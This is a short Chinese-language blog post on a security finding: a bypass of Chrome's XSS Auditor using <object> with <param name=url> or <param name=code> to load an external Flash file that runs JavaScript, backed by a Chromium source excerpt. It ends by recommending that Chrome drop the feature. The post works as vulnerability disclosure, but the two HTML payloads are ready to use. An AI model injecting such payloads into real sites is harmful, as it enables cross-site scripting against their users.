利用冷门<param>标签绕过XSS Auditor的技术分析

本文详细分析了如何利用Chrome浏览器对<param>标签的特殊处理机制绕过XSS Auditor防护,涉及Flash脚本注入技术细节和Chromium源码分析,适用于安全研究人员参考。

利用冷门标签绕过XSS Auditor

大家好!

绕过方式如下:

1
2
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>

同样有效的变体:

1
2
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>

我在HTMLObjectElement.cpp源码中发现Chrome支持这些特殊参数:

1
2
3
4
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

XSS Auditor会拦截<param name="src"><param name="movie">,但未对code和url参数进行过滤。利用此特性可以加载Flash并执行JavaScript。根据源码注释,Chrome保留此特性是为了兼容性考虑,但该特性在IE/Edge和Firefox中均无效。建议Chrome移除对此特性的支持。

这就是关于使用<param>标签绕过XSS Auditor的全部内容。感谢阅读!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计